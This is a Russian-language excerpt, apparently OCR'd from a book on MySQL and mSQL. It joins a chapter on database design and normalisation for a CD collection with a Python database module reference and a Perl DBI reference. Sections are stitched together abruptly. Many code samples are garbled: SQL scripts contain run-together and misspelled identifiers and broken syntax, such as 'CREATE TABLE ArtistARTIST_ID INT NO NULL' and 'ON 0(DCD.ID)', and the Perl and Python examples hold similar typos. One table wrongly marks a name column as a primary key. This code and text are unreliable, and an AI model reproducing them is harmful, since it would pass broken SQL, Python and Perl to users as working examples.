    Предположим, у вас есть большая коллекция компакт-дисков, и вы хотите создать базу данных, чтобы отслеживать ее. Прежде всего, нужно определить, какие данные вы собираетесь хранить. Неплохо начать с того, чтобы подумать, а зачем, собственно, вам хранить эти данные. В нашем случае мы, скорее всего, хотим иметь возможность найти диск по исполнителю, названию и песне. Раз мы хотим искать эти пункты, они должны быть включены в базу данных. Помимо того, часто полезно просто перечислить пункты, которые нужно отслеживать. Возможен такой список: название CD, фирма звукозаписи, название ансамбля, название песни. В качестве отправной точки выберем для хранения данных таблицу, представленную как таблица 2-1.

    Таблица 2-1. База данных CD, состоящая из одной таблицы




    Band Name


    CD Title


    Record Label


    Songs

    Stevie Wonder Talking Book Motown You Are the Sunshine of My Life, Maybe Your Baby, Superstition, . . .

    Miles Davis Quintet


    Miles Smiles


    Columbia


    Orbits, Circle, . . .


    Wayne Shorter


    Speak No Evil


    Blue Note


    Witch Hunt, Fee-Fi-Fo-Fum


    Herbie Hancock


    Headhunters


    Columbia


    Chameleon, Watermelon Man, . . .


    Herbie Hancock


    Maiden Voyage


    Blue Note


    Maiden Voyage


    (Для краткости мы опустили большую часть -песен.) На первый взгляд, эта таблица нам подходит, поскольку в ней есть все необходимые данные. При более близком рассмотрении, однако, мы сталкиваемся с некоторыми проблемами. Возьмем, к примеру, Herbie Hancock. Название ансамбля повторяется дважды - для каждого CD. Это повторение неприятно по нескольким причинам. Во-первых, при вводе данных нам приходится вводить одно и то же несколько раз. Во-вторых, что более важно, при изменении каких-либо данных приходится изменять их в нескольких местах. Что если, к примеру, в Herbie вкралась орфографическая ошибка? Пришлось бы исправлять данные в двух строках. Та же проблема возникнет, если имя Herbie Hancock в будущем изменится (а ля Jefferson Airplane или John Cougar). С добавлением к нашей коллекции новых дисков Herbie Hancock увеличивается объем работы, необходимой для поддержания непротиворечивости данных.


    Другая проблема, вызванная наличием в базе данных всего одной таблицы, связана с тем, как хранятся названия песен. Мы храним их, как список песен, в одной колонке. Мы столкнемся с кучей проблем, если попытаемся разумно использовать эти данные. Представьте себе, как мы будем вводить и поддерживать этот список песен. А что если мы захотим хранить еще и длительность песен? Или пожелаем осуществлять поиск по названию песни? Довольно быстро становится ясно, что хранить песни в таком виде нежелательно.

    Вот тут начинает играть свою роль проектирование баз данных. Одна из важнейших задач проектирования баз данных - устранение из нее избыточности. Для этого используется прием, называемый нормализацией. Прежде чем приступить к нормализации, обсудим некоторые фундаментальные понятия реляционных баз данных. Модель данных -это диаграмма, показывающая конструкцию вашей базы данных. Она состоит из трех основных элементов - сущностей, атрибутов и связей. Пока остановимся на сущностях и атрибутах, а о связях поговорим позднее.

    Сущности в базе данных

    Сущность - это важная вещь или объект, сведения о котором нужно сохранить. Не все вещи являются сущностями, а только те, данные о которых должны быть сохранены. Сведения о сущностях имеют вид атрибутов и/или связей. Если некий кандидат на то, чтобы быть сущностью, не имеет атрибутов или связей, в действительности он не является сущностью. В модели базы данных сущности представляются в виде прямоугольника с заголовком. Заголовок является именем сущности.

    Атрибуты сущности

    Атрибут описывает данные о сущности, которые нужно сохранить. У каждой сущности ноль или более атрибутов, описывающих ее, и каждый атрибут описывает в точности одну сущность. Каждый экземпляр сущности (строка таблицы) имеет в точности одно значение, возможно, равное NULL, для каждого из своих атрибутов. Значение атрибута может быть числом, строкой символов, датой, временем или другим базовым значением данных. На первом этапе проектирования базы данных, логическом моделировании, нас не заботит то, каким образом будут храниться данные.


    Проектирование баз данныхNULL лежит в основе проблемы, связанной с отсутствующей информацией. Он специально используется тогда, когда какая-то часть данных отсутствует. Рассмотрим, к примеру, ситуацию, когда на CD нет данных о длительности каждой песни. У каждой песни есть длительность, но, глядя на коробку, вы не можете сказать, какова она. Хранить длительность как О нежелательно, поскольку это было бы неверно. Вместо этого вы записываете длительность как NULL. Если вы считаете, что можно сохранить ее как 0 и использовать 0 для обозначения "неизвестной длины", то можете попасть в одну из тех западней, которые привели к проблеме 2000-го года. В старых системах не только год хранится как две цифры, но и придается особое значение величине 9-9-99.

    В нашем примере база данных ссылается на ряд объектов - CD, название CD, название ансамбля, песни и название фирмы звукозаписи. Какие из них являются сущностями, а какие - атрибутами?

    Модель данных

    Обратите внимание, что мы определяем несколько видов данных (название CD, название ансамбля и т. д.), относящихся к каждому CD, и без которых описать CD совершенно невозможно. Поэтому CD является одним из тех объектов, которые мы хотим описать, и, похоже, является сущностью. Начнем разработку модели данных с изображения CD как сущности. На рис. 2-1 показана наша единственная сущность в модели данных.

    Проектирование баз данных

    Рис. 2-1. Сущность "CD" в модели данных

    По общепринятому соглашению об именовании сущностей имя сущности должно быть в единственном числе. Поэтому мы называем таблицу, в которой хранятся CD "CD", а не "CDs". Мы используем это соглашение, поскольку каждая сущность дает имя экземпляру. Например, "San Francisco 49ers" является экземпляром сущности "Футбольная команда", а не "Футбольные команды".

    На первый взгляд кажется, что оставшаяся часть базы данных описывает CD. Это указывает на то, что она содержит атрибуты CD. На рис. 2-2 они добавлены к сущности CD рис. 2-1. В модели данных атрибуты представлены как имена, перечисленные в прямоугольнике сущности.

    Эта диаграмма проста, но мы еще не закончили. В действительности, мы только начали. Ранее мы говорили, что целью моделирования данных является устранение избыточности с помощью приема, называемого нормализацией. У нашей базы данных прекрасная диаграмма, но мы не покончили с избыточностью, как намеревались. Пора нормализовать нашу базу данных.

    Проектирование баз данных

    Рис. 2-2. Сущность "CD" с атрибутами



    Проектирование физической базы данных

    С какой целью мы создавали логическую модель данных? Вам нужно создать базу данных, чтобы хранить информацию о CD. Модель данных - это только промежуточный шаг. В конечном итоге вы хотели бы получить базу данных MySQL или mSQL, в которой можно хранить данные. Как это сделать? При проектировании физической базы данных логическая модель переводится в набор операторов SQL, которые определяют вашу базу данных MySQL или mSQL.

    Поскольку MySQL и mSQL являются реляционными базами данных, относительно несложно перевести логическую модель, подобную описанной, в физическую базу данных MySQL или mSQL. Вот правила перевода:

  • Объекты становятся таблицами в физической базе данных.

  • Атрибуты становятся колонками в физической базе данных. Для каждой колонки нужно выбрать подходящий тип данных.

  • Уникальные идентификаторы становятся колонками, не допускающими значение NULL. В физической базе данных они называются первичными ключами (primary keys). Вы можете также пожелать создать уникальный индекс по идентификатору, чтобы обеспечивать уникальность. Учтите, что в mSQL нет понятия первичного ключа, есть просто уникальные индексы. К MySQL это не относится.

  • Отношения моделируются в виде внешних ключей (foreign keys). Мы коснемся их позднее.

    Применив эти правила к нашей модели (исключая адресную информацию по фирмам звукозаписи), получим физическую базу данных, представленную в таблице 2-2.

    Таблица 2-2. Определения физических таблиц для базы, данных CD



    Таблица


    Колонка


    Тип данных


    Примечания


    CD


    CDId


    INT


    primary key





    CDTitle


    TEXT(50)





    Artist


    Artistld


    INT


    primary key





    ArtistName


    TEXT(50)





    Song


    Songld


    INT


    primary key





    SongName


    TEXT(50)





    RecordLabel


    RecordLabelld


    INT


    primary key





    RecordLabelName


    TEXT(50)


    primary key


    Первое, на что вы можете обратить внимание: в нашей физической схеме из всех названий объектов удалены пробелы. Это вызвано тем, что названия нужно преобразовать в вызовы SQL, создающие таблицы, поэтому названия таблиц должны удовлетворять правилам SQL для образования имен. Кроме того, все первичные ключи мы сделали типа INT. Поскольку эти атрибуты искусственные, мы можем приписать им любой индексируемый тип. То, что они имеют тип INT, почти полностью результат нашего произвола. Почти, поскольку на практике поиск по числовым полям в большинстве баз данных осуществляется быстрее, и поэтому выгодно назначать первичными ключами числовые поля. Однако мы могли бы выбрать для ключевых полей тип CHAR, и все работало бы прекрасно. Выбор должен основываться на ваших критериях выбора идентификаторов.


    Для остальных колонок установлен тип TEXT с длиной 50. Такое определение годится и для MySQL, и для mSQL. Для MySQL, впрочем, лучше было бы выбрать VARCHAR, но это несущественно для нашего примера. Выбор правильного типа данных для колонок очень важен, но мы не будем сейчас на этом останавливаться, поскольку не касались еще типов данных, поддерживаемых MySQL и mSQL.

    Теперь у нас есть отправная точка для физической схемы. Мы еще не перевели отношения в физическую модель данных. Как указывалось ранее, после уточнения логической модели у вас должны остаться отношения типа "один-к-одному" и "один-ко-многим" - отношения "М-к-М" разрешаются через таблицы-связки. Отношения моделируются путем добавления внешних ключей к одной из участвующих в них таблиц. Внешний ключ - это уникальный идентификатор или первичный ключ таблицы на другом конце отношения.

    Позднее мы коснемся типов данных, поддерживаемых MySQL и mSQL. В каждой из них свои правила относительно того, какие типы данных можно индексировать. Ни в одной из них, например, нельзя индексировать поля типа TEXT. Поэтому недопустимо иметь колонку первичного ключа типа TEXT.

    Чаще всего отношение имеет тип "1-к-М". Ему соответствует первичный ключ со стороны "1", помещенный в таблицу на стороне "многие". В нашем примере это означает, что нужно сделать следующее:

  • Поместить колонку RecordLabelId в таблицу CD.

  • Поместить колонку CDId в таблицу Song.

  • Поместить колонку Artistic! в таблицу Song. Полученная схема показана в таблице 2-3.

    Таблица 2-3. Физическая модель данных для базы данных CD



    Таблица



    Колонка



    Тип данных



    Примечания



    CD



    Cdld



    INT



    primary key







    CDTitle



    TEXT(50)











    RecordLabelld



    INT



    foreign key



    Artist



    Artistld



    INT



    primary key







    ArtistName



    TEXT(50)







    Song



    Songld



    INT



    primary key







    SongName



    TEXT(50)











    Cdld



    INT



    foreign key







    Artistld



    INT



    foreign key



    RecordLabel



    RecordLabelld



    INT



    primary key







    RecordLabelName



    TEXT(50)





    <


    В нашей модели нет связей типа "один-к-одному". Если бы они были, то нужно было бы взять одну из таблиц и ввести в нее колонку внешнего ключа, соответствующую первичному ключу другой таблицы. Теоретически не важно, которую из таблиц вы выберете, но практические соображения могут определять, какую из колонок лучше сделать внешним ключом.

    Теперь у нас есть полная физическая схема базы данных. Осталось перевести эту схему на SQL. Для каждой таблицы в схеме вы пишете одну команду CREATE TABLE. Обычно для поддержки уникальности создается уникальный индекс по первичным ключам.

    В некотором смысле мы сейчас забегаем вперед. Вы, возможно, не знакомы с SQL, а в задачи данной главы не входит знакомство с версиями SQL, поддерживаемыми MySQL и mSQL. Все же, вот два простых сценария для создания базы данных CD. Первый сценарий, пример 2-1, составлен для MySQL, пример 2-2 — для mSQL.

    Пример 2-1. Сценарий создания базы данных CD в MySQL

    CREATE TABLE CD (CDID INT NOT NULL,

    RECORD_LABEL_I INT, CD_TITLE TEXT, PRIMARY KEY (CD_ID))

    CREATE TABLE Artist (ARTIST_ID INT NOT NULL, ARTIST_NAMETEXT,

    PRIMARY KEY (ARTIST_ID)) CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT, SONG_NAME TEXT, PRIMARY KEY (SONG_ID))

    CREATE TABLE RecorLabel(RECORD LABEL_ID INT NOT NULL, RECORD_LABEL_NAME TEXT, PRIMARY KEY(RECORD_LABEL_ID))

    Пример 2-2. Сценарий создания базы данных CD в mSQL

    CREATE TABLE CD (CD_ID INT NOT NULL,

    RECORD_LABEL_IDINT, CD_TITLE TEXT(50))

    CREATE UNIQUE INDEX CD_IDX ON 0(DCD.ID)

    CREATE TABLE ArtistARTIST_ID INT NO NULL,

    ARTIST_NAMETEXT(50))

    CREATE UNIQUE INDEX Artist_IDX ON Artist (ARTIST_ID)

    CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT,

    SONG_NAME TEXT(50))

    CREATE UNIQUE INDEX Song_IDX ON Song (SONG_ID)

    CREATE TABLE RecordLabel (RECORD_LABEL_IDINT NOT NULL,

    RECORD_LABEL_NAMEEXT(50))

    CREATE UNIQUE INDEX RecordLabel_IDX

    ON RecordLabel(RECORD_LABEL_ID)

    Модели данных разрабатываются так, чтобы не зависеть от базы данных. Поэтому вы можете взять технику и модель данных, созданную в этой главе, и применить ее не только к MySQL и mSQL, но и к Oracle, Sybase, Ingres и любой другой РСУБД. В следующих главах мы подробно обсудим, как соединить ваши новые знания о проектировании баз данных с MySQL и mSQL.

    В действительности есть несколько модулей

    Справочник по Python

    В действительности есть несколько модулей Python, предоставляющих доступ к базам данных MySQL и mSQL. В большинстве аспектов они очень схожи между собой. В этой главе приводятся спецификации API для двух наиболее часто используемых модулей. Однако важно указать на приближающуюся унификацию разных API для баз данных в едином API, специфицированном Python Database SIG. В настоящее время mSQL не поддерживает этот API.



    Модуль: mSQL

    Модуль mSQL очень похож на модуль MySQL. Точкой входа в модуль является метод mSQL.connect(). Возвращаемое им значение представляет подключение к базе данных mSQL, которое вы можете использовать для всех операций с mSQL.

    Метод: mSQL.connect()

    Запись

    connection - mSQL.connect()
    connection - mSQL.connect(host)

    Краткий обзор

    Подключается к базе данных mSQL на указанном сервере. Если вы не укажете аргументов, будет выполнено подключение к базе данных на локальном компьютере. Метод возвращает описатель подключения к mSQL, который вы можете использовать для доступа к базе данных.

    Пример

    connection = mSQL.connect('carthage.imaginary, com')

    Метод: cormection.selectdb()

    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает имя базы данных для вашего подключения. Все дальнейшие операции с подключением будут относиться к выбранной базе данных до тех пор, пока вы не укажете новую базу данных.

    Пример

    connection.selectdb('test');

    Метод: connection.query()

    Запись

    results = connection. query(sq1)

    Краткий обзор

    Посылает на выполнение в текущую выбранную базу данных указанную команду SQL. Результат возвращается как список кортежей, где каждый кортеж представляет одну запись. Этот метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.query('SELECT title, year FROM movies');
    rowl = results[0];

    Метод: connection.listdbs()

    Запись

    dbs - connection. listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()
    Запись

    connection.listtables()

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn.listtables()

    Атрибут: connection.serverinfo

    Краткий обзор

    Возвращает версию сервера mSQL, с которым установлено соединение.

    Пример

    info = connection.serverinfo;

    Атрибут: connection.hostname
    Краткий обзор

    Возвращает имя сервера, на котором запущен сервер mSQL.

    Пример

    host = connection.hostname

    Модуль: MySQL

    Точкой входа в модуль Python для MySQL является метод MySQL.connect(). Значение, возвращаемое этим методом, представляет подключение к серверу MySQL, которое вы можете использовать для всех операций с MySQL.

    Метод: MySQL.connect()
    Запись

    connection = MySQL.connect(host)

    Краткий обзор

    Подключается к базе данных MySQL на указанном сервере. Если вызвать connect() без аргументов, будет выполнено подключение к базе данных MySQL на локальном компьютере. Метод возвращает объект Python, представляющий подключение к базе данных MySQL.

    Пример

    conn = MySQL.connect('carthage.irnaginary.com');

    Метод: connection.selectdb()
    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает базу данных, с которой вы собираетесь работать.

    Пример

    connection. selectdb('test');

    Метод:
    connection.do()
    Запись

    results = connection.do(sql)

    Краткий обзор

    Посылает на выполнение указанную команду SQL в текущую выбранную базу данных. Результаты возвращаются как список списков, где каждый список представляет одну запись. Метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.do('SELECT title, year FROM movies');
    row1 = results[0];

    Метод: connection.query()
    Запись

    statement_handle = connection. query(sgl)
    Краткий обзор

    Как и метод do(), этот метод посылает указанную SQL-команду текущей выбранной базе данных. Отличие этого метода от do() заключается в том, что он возвращает объект - описатель команды, который инкапсулирует информацию о результате запроса SQL, также как и сами результаты.

    Пример

    hndl = conn. query(' SELECT title, year FROM movies');
    Метод: statement_handle.affectedrows()
    Запись

    rowcount = statement_handle.affectedrows()
    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команд SQL UPDATE, DELETE или INSERT, данный метод возвращает число записей, реально измененных этим запросом.

    Пример

    rowcount = hnd1.affectedrows()


    Метод: statement_handle.numrows()

    Запись

    rowcount = statement_handle.numrows()

    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команды SELECT, данный метод выдает число записей в результирующем наборе.

    Пример

    rowcount = hndl. numrows()

    Метод: statement_handle.fields()

    Запись

    list = statement_handle.fields()

    Краткий обзор

    Предоставляет метаинформацию о столбцах в результате, возвращаемом запросом. Полученный список является списком списков. Каждый элемент возвращаемого списка - это список с метаинформацией об отдельном столбце. Другими словами, в возвращаемом списке будет один элемент для каждого столбца в результирующем наборе. Первый элемент списка представляет первый столбец, второй элемент - второй столбец и т. д.

    Метаданные для каждого столбца являются списком из пяти элементов:

  • Строка, содержащая имя столбца.

  • Строка, содержащая имя таблицы, откуда взят столбец.

  • Строка с названием типа данных SQL для этого столбца.

  • Целое int, содержащее размер столбца.

  • Строка, содержащая модификаторы столбца, такие как NOTNULL.

    Пример

    flds = hndl.fields();

    for column in fids: name = column[0];

    table = column[1]; type = column[2];

    size = columns[3]; mods = column[4];

    Метод: statement_handle.fetchrows()

    Запись

    list = statement_handle.fetchrows(rownum)

    Краткий обзор

    Выбирает значение записи с указанным номером из результирующего набора, представленного описателем команды. Если в качестве аргумента передать —1, этот метод вернет список со всеми записями. Каждая запись в этом списке представлена списком с количеством элементов, равным числу столбцов в результирующем наборе. Первый элемент списка представляет значение первого столбца, второй элемент представляет второй столбец и т. д.

    Пример

    rows = hndl.fetchrows(-l);

    for row in rows:

    coll = row[0]; со12 = row[1];

    Метод: connection.listdbs()

    Запись

    dbs = connection.listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()

    Запись

    tables = connection. listtables();

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn. listtables();



    DBI.pmAPI

    DBI API является стандартным API баз данных в Perl. Поэтому, хотя MsqPerl и MysqlPerl могут быть более распространены в унаследованных программах, новые программы следует писать с использованием DBI.

    use

    use DBI;

    Следует объявлять во всех программах Perl, использующих модуль DBI.

    DBI::available_drivers

    @available_drivers = DBI->available_drivers;
    @available_drivers = DBI->available_drivers($quiet);

    DBI: :available_drivers возвращает список имеющихся драйверов DBD. Функция выполняет это, осуществляя поиск модулей DBD в дистрибуции Perl. Если в аргументе не передано значение true, то при обнаружении двух одноименных модулей DBD выводится предупреждение. В текущем дистрибутиве Msql-Mysql драйвер для mSQL называется 'mSQL', а драйвер для MySQL - 'mysqP.

    Пример

    use DBI;

    my @drivers = DBI->available_drivers;

    print "Доступны следующие драйверы:\n" . join("\n",@drivers) . "\n Ho нас интересуют только mSQL и mysql. :)\n";

    DBI::bind_col

    $result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

    DBI: :bind_col связывает колонку команды SELECT с переменной Perl. При всяком чтении или изменении колонки изменяется значение соответствующей переменной. Первым аргументом является номер колонки в команде, при этом колонки нумеруются с 1. Второй аргумент — ссылка на переменную Perl, которая должна быть привязана к колонке. Необязательный третий аргумент ссылается на хэш атрибутов. В DBD: :mysql и DBD: :mSQL он не используется. При невозможности в силу каких-то причин сделать привязку функция возвращает неопределенное значение undef.

    Пример

    use OBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef,undef);
    my $query = "SELECT name, date FROM myothertable";
    my $myothertable_output = $db->prepare($query);

    my ($name, $date);

    $myothertable_output->bind_col(1,\$name,undef);

    $myothertable_output"bind_col(2, \$date, undef);

    # Теперь $name и Sdate привязаны к соответствующим полям выходных данных.


    $myothertable_output->execute;

    while ($myothertable_output->fetch) {

    # Каждый раз $name и $date автоматически изменяются.

    print "Имя: $name Дата: $date\n"; }

    DBI::bmd_columns

    $result = $statement_handle->bincl_columns(\%unused, @list_of_refs_to_vars);

    DBI: : bind_columns привязывает весь список скалярных ссылок к значениям соответствующих полей в выдаче. Первый аргумент функции -ссылка на хэш атрибутов, как в DBI: :bind_col . DBD::mSQL и DBD::mysql не используют этот аргумент. Последующие аргументы должны быть ссылками на скаляры. Скаляры можно с таким же успехом группировать в структуру \($var1, $var2) . Ссылок на скаляры должно быть ровно столько, сколько полей в выходных результатах, иначе выполнение программы будет прекращено.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my $myothertable_oulput = $db->prepare($query);

    my ($name, $date);

    $mynfhertable_outpul->bind_columns(undef, \($name, $daLe));

    # $name и $date теперь привязаны к соответствующим полям в выдаче,

    $myothertable_output->execute;

    while ($myothertable_output->fetch)

    {

    # $name и $date каждый раз автоматически изменяются.

    print "Имя: $name Дата: $date\n";

    }

    DBI::bind_param

    $result = $statement_handle->bind_param($param_number, $bind_value);

    $result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);

    $result = $statenent_handle->bind_param($param_number, $bind_value, \%bind_type);

    DBI: : bind_param подставляет в команды действительные значения вместо меток-заполнителей '?' (см. OBI:: prepare). Первый аргумент - номер метки-заполнителя в команде, нумерация начинается с 1 (слева направо). Второй аргумент - подставляемое значение. Необязательный третий аргумент задает тип подставляемого значения. Это может быть скаляр или ссылка на хэш вида { TYPE => &DBI:: SQL_TYPE } , где 'SQL_TYPE' - тип параметра. На момент написания этой книги DBI поддерживал SQL-типы (недокументированные) SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE и SQL_VARCHAR. Соответствие их фактическим типам, используемым DBD::mSQL и DBD::Mysql, не документировано. Тем не менее в таблице 21-1 приведен список соответствия на данный момент. Если подстановка невозможна, функция возвращает undef.


    Таблица 21-1. Соответствие типов SQL



    DBI



    MSQL



    MySQL



    SQL_CHAR



    CHAR TYPE



    FIELD TYPE CHAR







    IDENT TYPE



    FIELD TYPE DATE







    NULL TYPE



    FIELD TYPE DATETIME







    DATE TYPE



    FIELD TYPE NULL







    MONEY TYPE



    FIELD TYPE TIMESTAMP







    TIME TYPE



    FIELD TYPE TIME







    IDX TYPE











    SYSVAR TYPE











    ANY TYPE







    SQL_NUMERIC







    FIELD TYPE LONG FIELD TYPE LONGLONG FIELD_TYPE_SHORT



    SQL_DECIMAL







    FIELD_TYPE_DECIMAL



    SQLJNTEGER



    INT_TYPE



    FIELD_TYPE_INT24



    SQL SMAL-LINT



    UINT_TYPE



    FIELD_TYPE_INT24



    SQL_FLOAT







    FIELD_TYPE_FLOAT



    SQL_REAL



    REAL TYPE LAST_REAL_TYPE



    FIELD JTYPE_DOUBLE



    SQLJDOUBLE







    FIELD_TYPE_DOUBLE



    SQL_VARCHAR



    TEXT_TYPE



    FIELD_TYPE_TINY BLOB FIELD_TYPE_MEDIUM BLOB FIELD TYPE BLOB FIELD TYPE LONG BLOB FIELD TYPE VAR STRING FIELD TYPE STRING

    Пример

    use DBI;

    my $db = DBI->connect('DBD:msql:mydata','me','mypass');

    my Sstatement = $db->prepare(

    "SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

    $statement->bind_param(1,'J%','SQL_CHAR');

    $statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });

    # Теперь команда будет такой:

    # SELECT name, date FROM myothertable WHERE name like 'J%' or name like

    '%oe%'

    DBI::connect

    $db = DBI->connect($data_source, $username, $password);

    $db = DBI->connect($data_source, $username, $password, \%attributes);

    DBI:: connect требует по крайней мере три аргумента и необязательный четвертый. Через возвращаемый описатель выполняются все операции с сервером базы данных. Первый аргумент является источником данных. Список имеющихся источников можно получить с помощью DBI: :data_sources . Для mSQL и MySQL формат источника данных 'DBI:mSQL:$database:Shostname:Sport' и 'DBI:mysql:Sdatabase:Shostname:Sport' соответственно. Можно опустить :Sport при соединении через стандартный порт. Аналогично можно опустить ': Shostname: Sport' при соединении с сервером на локальном узле с помощью сонета Unix. Имя базы данных указывать обязательно.


    Второй и третий аргументы — имя пользователя и пароль для подключения к базе данных. Для mSQL оба аргумента должны иметь значение 'undef'. Если они заданы как 'jndef при работе с MySQL, то у пользователя, запустившего программу, должны быть права доступа к требуемым базам данных.

    Последний аргумент необязателен и является ссылкой на ассоциативный массив. Данный хэш позволяет определить некоторые атрибуты соединения. В настоящее время поддерживаются только атрибуты PrintError, RaiseError и AutoCommit. Для сброса им нужно придать значение 0, для установки - какое-либо истинное значение. По умол-чаник) PrintError и AutoCommit включены, a RaiseError - сброшен. Поскольку в данное время ни mSQL, ни MySQL не поддерживают транзакции, атрибут AutoCommit должен быть установлен (более подробно см. Атрибуты).

    При неудаче соединения возвращается неопределенное значение undef, и в $DBI;:errstr помещается ошибка.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI: mSQL:mydata',undef,undef);

    # Теперь $db1 представляет соединение с базой данных 'mydata'на локальном

    # сервере mSQL.

    my $db2 = DBI->connect( 'DBI:mysql:mydata:myser-ver.com','me','mypassword');

    # Теперь $db2 представляет соединение с базой данных 'mydata' сервера MySQL

    # 'myserver.com' через порт по умолчанию.

    # При соединении использовались имя пользователя 'те' и пароль 'mypassword'.

    my $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {

    RaiseError => 1 });

    # Теперь $db3 - такое же соединение, как $db1, за исключением того, что

    # установлен атрибут 'RaiseError'.

    DBI::data_sources

    @data_sources = DBI->data_sources($dbd_driver);

    DBI: :data_sources принимает в качестве аргумента имя модуля DBD и возвращает все имеющиеся для этого драйверы базы данных в форма- " те, пригодном к использованию в качестве источника данных функцией DBI::connect . Программа заканчивает свое выполнение с ошибкой, если задано неверное имя драйвера DBD. В текущих версиях модулей Msql-Mysql драйвер для mSQL называется 'mSQL', а для MySQL -'mysql'.


    Пример

    use DBI;

    my §msql_data_sources = DBI->data_sources('mSQL');

    my @mysql_data_sources = DBI->data_sources('mysql');

    # Должны быть установлены DBD::mSQL и DBO::mysql, иначе

    # выполнение программы прекратится.

    print "mSQL databases:\n" . join("\n",@msql_data_sources) , "\n\n";

    print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";

    DBI::do

    $rows_affected = $db->do($statement);

    $rows_affected = $db->do($statement, \%unused);

    $rows_affected = $db->do($statement, \%unused, @bind_values);

    DBI: : do непосредственно выполняет SQL-команду, не являющуюся командой SELECT, и возвращает число измененных строк. Этот способ быстрее, чем пара DBI: :prepare/DBI: :execute , требующая два вызова функции. Первый аргумент - сама команда SQL. Второй аргумент не используется в DBD::mSQL и DBD::mysql, но для других модулей DBD может содержать ссылку на хэш атрибутов. Последний аргумент -массив значений для подстановки в команду вместо меток-заместителей '?'. Подстановка происходит слева направо. Дополнительно DBI: : do автоматически заключит подставляемые строковые значения в кавычки.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob"');

    print "$rows_affected Joe заменены на Bob's\n";

    my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)", {}, ("Sheldon's Cycle"));

    # После заключения в кавычки и подстановки

    # серверу базы данных посылается команда

    #INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')

    DBI-disconnect

    $result = $db->disconnect;

    DBI: : disconnect отсоединяет описатель базы данных от сервера баз данных. Для mSQL и MySQL в этом обычно нет необходимости, поскольку эти базы данных не поддерживают транзакций, и неожиданное отсоединение не причинит вреда. Однако от баз данных, поддерживающих транзакции, нужно отсоединяться явным образом. Поэтому, чтобы получить переносимую программу, нужно всегда отсоединяться от базы данных перед выходом. При ошибке во время отсоединения возвращается ненулевое значение, и в $DBI: :errstr устанавливается ошибка.


    Пример

    use DBI;

    my $db1 = DBI->connect( 'DBI:mSQL:mydata',undef,undef);

    my $db2 = OBI->connect('DBI:mSQL:mydata2',undef,undef);

    $db1->disconnect;

    # Соединение 'mydata' разорвано. Соединение с 'mydata2'

    # продолжает действовать.

    DBI::dump_results

    $neat_rows = DBI::dump_results($statement_handle);

    $neat_rows = DBI::dump_results($statement_handle, Smaxlen);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep, $file_handle);

    DBI: : dump_results выводит содержание описателя команды в удобном и упорядоченном виде, применяя к каждой строке DBI: :neat_string . Функцию удобно использовать для быстрой проверки результатов запроса во время разработки программы. Единственный обязательный аргумент - описатель команды. Второй аргумент, если имеется, задает максимальный размер полей в таблице, по умолчанию равный 35. Третий аргумент задает строку, используемую для разграничения строк данных, по умолчанию- \n. Четвертый аргумент задает строку, используемую для разделения значений полей в строке, по умолчанию используется запятая. Последний аргумент задает ссылку на глобальный описатель файла, в который выводятся результаты. По умолчанию это STDOUT. Если невозможно прочесть описатель команды, возвращается значение undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    print DBI::dump_results($myothertable_output);

    # Вывести результаты в аккуратной таблице.

    open(MYOTHERTABLE, ">>myothertable");

    print DBI: :dump_results($iriyothertable_output,

    undef,undef,undef,\*MYOTHERTABLE);

    # Снова вывести результаты в файл 'myothertable,'.

    $DBI::err

    $error_code = $handle->err;


    $DBI:: err возвращает код последней по времени ошибки DBI. Код ошибки соответствует сообщению об ошибке, возвращаемому функцией $DBI: :errstr. Переменная $DBI: :err выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    # Этот запрос имеет синтаксическую ошибку...

    my Soutput = $db->prepare('SLECT * from mydata');

    $output->execute;

    if (not $output) {

    print "Error $DBI:err: $DBI:errstr\n"; }

    $DBI::errstr

    $error = $handle->errstr;

    Эта функция возвращает сообщение о последней происшедшей ошибке DBI. Значение сохраняется до возникновения новой ошибки, когда оно будет заменено. Если во время данного сеанса ошибок не было, функция возвращает undef. Переменная $DBI: :errstr выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    Use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'wcbuscr','super_secret_squirrel');

    my $error = $db->errstr;

